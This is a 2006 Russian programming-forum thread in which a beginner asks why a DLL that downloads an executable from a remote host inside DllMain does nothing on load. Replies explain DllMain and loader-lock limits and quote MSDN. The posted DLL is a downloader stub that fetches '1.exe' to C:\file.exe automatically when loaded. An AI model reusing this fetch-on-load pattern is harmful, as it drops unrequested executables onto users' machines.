Хочу подгрузить DLL которая качает файл с инета

Тема в разделе "WASM.BEGINNERS", создана пользователем Rx_, 20 июн 2006.

  1. Rx_

    Rx_ New Member

    Публикаций:
    0
    Регистрация:
    20 июн 2006
    Сообщения:
    5
    Написал простой загрузчик DLL:
    Код (Text):
    1.  
    2. #include <stdio.h>
    3. #include <windows.h>
    4.  
    5. int main()
    6. {
    7.   HINSTANCE hDll = 0;
    8.   hDll = LoadLibrary("1.dll");
    9.  
    10.   if(hDll == NULL)
    11.   {
    12.     printf("ERROR.\n");
    13.     return 1;
    14.   }
    15.   return 0;
    16. }
    17.  




    И сама DLL:
    Код (Text):
    1.  
    2. #include <urlmon.h>
    3. #include <shellapi.h>
    4.  
    5. #pragma comment(lib, "urlmon.lib")
    6. #pragma comment(lib, "shell32.lib")
    7.  
    8. BOOL APIENTRY DllMain( HANDLE hModule,
    9.                        DWORD  ul_reason_for_call,
    10.                        LPVOID lpReserved
    11.                      )
    12. {
    13.  
    14.  
    15.     URLDownloadToFile(
    16.         NULL,
    17.         "http://ip3e83566f.speed.planet.nl/1.exe",
    18.         "C:\\file.exe",
    19.         0,
    20.         NULL
    21.         );
    22.  
    23.  
    24.     MessageBox(NULL, "Done. :)", "Message", MB_OK);
    25.  
    26.     FreeLibrary(GetModuleHandle("DLL.dll"));
    27.     return TRUE;
    28. }
    29.  




    Кароче при подгрузке DLL ничего не происходит. Хотя если просто мессаджбокс то работает.

    В чем проблема можете объяснить?
     
  2. cmd_prompt

    cmd_prompt New Member

    Публикаций:
    0
    Регистрация:
    19 июн 2006
    Сообщения:
    28
    Адрес:
    Ukraine, Donetsk
    Возможно причина в том, что ф-ция URLDownloadToFile работает асинхронно, т. е. она начинает качать файл, а в это время вызывается MessageBox для вызова задержки, вроде всё нормально, но у меня тоже были проблемы, когда я долго не возвращался из DllEntry, возможно система ставит Timeout на загрузку библиотеки, и если в течении этого времени функция не возвращает TRUE, dll не загружается. Еще один момент, я думаю не стоит вызывать FreeLibrary прямо в DllEntry, к тому же эта ф-ция вызывается 4 раза с разным параметром fdwReason:



    DLL_PROCESS_ATTACH

    DLL_THREAD_ATTACH

    DLL_THREAD_DETACH

    DLL_PROCESS_DETACH



    И вместо GetModuleHandle("DLL.dll") лучше использовать параметр hModule.
     
  3. crypto

    crypto Active Member

    Публикаций:
    0
    Регистрация:
    13 дек 2005
    Сообщения:
    2.533
    Rx_

    Хотя если просто мессаджбокс то работает.

    Т.е., если ты не вызываешь URLDownloadToFile, то мессаджбокс срабатывает?



    не стоит вызывать FreeLibrary прямо в DllEntry

    Логично это сделать в твоем загрузчике.
     
  4. jecxz

    jecxz New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    75
    Адрес:
    Brazil
  5. Rx_

    Rx_ New Member

    Публикаций:
    0
    Регистрация:
    20 июн 2006
    Сообщения:
    5
    Забыл сказать моя DLL ничего не экспортирует. Может из-за этого ничего не работает? Спасибки за асм код, но мне надо на ц++ =))
     
  6. jecxz

    jecxz New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    75
    Адрес:
    Brazil
    Rx_

    а ты считаешь, что это сложно переписать на си? там кода-то пара строк...

    1. экспорт из длл конечно нужен

    2. не делай работу в самой DllMain
     
  7. Rx_

    Rx_ New Member

    Публикаций:
    0
    Регистрация:
    20 июн 2006
    Сообщения:
    5
    Перенес URLDownloadToFile() в экспортирующую функцию и через GetProcAddress() все запускается. Хотя конечно хотелось чтоб URLDownloadToFile() запускалась сразу при подгрузке DLLа. Просто я еще нуб в кодинге =))
     
  8. asd

    asd New Member

    Публикаций:
    0
    Регистрация:
    12 мар 2005
    Сообщения:
    952
    Адрес:
    Russia
    Rx_



    Если очень хочется, то создавай в DllMain отдельный поток(CreateThread) и вызывай в нём URLDownloadToFile().
     
  9. Rx_

    Rx_ New Member

    Публикаций:
    0
    Регистрация:
    20 июн 2006
    Сообщения:
    5
    Неа не катит. Вот код:


    Код (Text):
    1.  
    2. #include <windows.h>
    3. #include <strsafe.h>
    4.  
    5. #define MAX_THREADS 3
    6.  
    7. typedef struct _MyData {
    8.     int val1;
    9.     int val2;
    10. } MYDATA, *PMYDATA;
    11.  
    12.  
    13. DWORD WINAPI ThreadProc( LPVOID lpParam )
    14. {
    15.     MessageBox(NULL, "Hey you!", "Message", MB_OK);
    16.     return 0;
    17. }
    18.  
    19. BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    20. {
    21.     int i;
    22.     DWORD dwThreadId[MAX_THREADS];
    23.     HANDLE hThread[MAX_THREADS];
    24.  
    25.      switch(fdwReason)
    26.      {
    27.         case DLL_PROCESS_ATTACH:
    28.         for( i=0; i<MAX_THREADS; i++ )
    29.         {
    30.             hThread[i] = CreateThread(
    31.                 NULL,              // default security attributes
    32.                 0,                 // use default stack size  
    33.                 ThreadProc,        // thread function
    34.                 NULL,             // argument to thread function
    35.                 0,                 // use default creation flags
    36.                 &dwThreadId[i]);   // returns the thread identifier
    37.      
    38.             if (hThread[i] == NULL) ExitProcess(i);
    39.         }  
    40. //      WaitForMultipleObjects(MAX_THREADS, hThread, TRUE, INFINITE);
    41.         Sleep(5000);
    42.    
    43.         for(i=0; i<MAX_THREADS; i++) CloseHandle(hThread[i]);
    44.    
    45.                     MessageBox(NULL, "Process attached.", "Message", MB_OK | MB_ICONINFORMATION);
    46.                     break;
    47.  
    48.         case DLL_THREAD_ATTACH:
    49.                     break;
    50.  
    51.         case DLL_THREAD_DETACH:
    52.                     break;
    53.  
    54.         case DLL_PROCESS_DETACH:
    55.                     MessageBox(NULL, "Process detached.", "Message", MB_OK | MB_ICONINFORMATION);
    56.                     break;
    57.     }
    58.     return TRUE;
    59. }
    60.  
    61.  




    По идее при подгрузке DLL должны запуститца 3 мессаджбокса одновременно, но ничего не происходит =((
     
  10. asd

    asd New Member

    Публикаций:
    0
    Регистрация:
    12 мар 2005
    Сообщения:
    952
    Адрес:
    Russia
    Хм, странно. Такой вот код работать не хочет:
    Код (Text):
    1. .data
    2. thread      db  'thread',0
    3. dll_main    db  'dll_main',0
    4. thdet       db  'thread attach',0
    5. .data?
    6. threadid        dd  ?
    7.    .code
    8. DllEntry proc hInstDLL:HINSTANCE,reason:DWORD,reserved1:DWORD
    9. mov eax,reason
    10. .if eax==DLL_PROCESS_ATTACH
    11.     pushad
    12.     lea esi,NewThread
    13.     invoke CreateThread,0,0,\
    14.         esi,0,0,addr threadid
    15.     invoke MessageBox,0,addr dll_main,0,0
    16.     popad
    17.     mov  eax,TRUE
    18.     ret
    19. ;.elseif eax==DLL_THREAD_ATTACH
    20. ;invoke MessageBox,0,addr thdet,0,0
    21. .endif
    22.     mov  eax,TRUE
    23.     ret
    24. DllEntry            Endp
    25. NewThread   :
    26.     invoke MessageBox,0,addr thread,0,0
    27. ret
    28. End DllEntry




    Как мне казалось, должен появляться MessageBox 'thread', и 'dll_main'. А вызывается только 'dll_main', и только после нажатия на ок 'thread'. Почему так?



    Ещё выдержка из MSDN

    Warning On attach, the body of your DLL entry-point function should perform only simple initialization tasks, such as setting up thread local storage (TLS), creating objects, and opening files. You must not call LoadLibrary in the entry-point function, because you may create dependency loops in the DLL load order. This can result in a DLL being used before the system has executed its initialization code. Similarly, you must not call the FreeLibrary function in the entry-point function on detach, because this can result in a DLL being used after the system has executed its termination code.



    Calling Win32 functions other than TLS, object-creation, and file functions may result in problems that are difficult to diagnose. For example, calling User, Shell, COM, RPC, and Windows Sockets functions (or any functions that call these functions) can cause access violation errors, because their DLLs call LoadLibrary to load other system components. While it is acceptable to create synchronization objects in DllMain, you should not perform synchronization in DllMain (or a function called by DllMain) because all calls to DllMain are serialized. Waiting on synchronization objects in DllMain can cause a deadlock.



    To provide more complex initialization, create an initialization routine for the DLL. You can require applications to call the initialization routine before calling any other routines in the DLL. Otherwise, you can have the initialization routine create a named mutex, and have each routine in the DLL call the initialization routine if the mutex does not exist.



     
  11. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    asd, на все 100% не могу быть уверен, но чтоб вызывать функцию прога сначало загружает dll - соответственно сработывает DLL_PROCESS_ATTACH.
     
  12. asd

    asd New Member

    Публикаций:
    0
    Регистрация:
    12 мар 2005
    Сообщения:
    952
    Адрес:
    Russia
    Ну так, я CreateThread и вызываю в DLL_PROCESS_ATTACH, а DLL_THREAD_ATTACH закомментирована. Если раскомментировать, то получим последовательно 'dll_main','thread attach','thread'.
     
  13. Rx_

    Rx_ New Member

    Публикаций:
    0
    Регистрация:
    20 июн 2006
    Сообщения:
    5
    В MSDN сказано что в DllMain всё выполняется последовательно. И если будет функция которая выполняется ассинхронно, то cause a deadlock.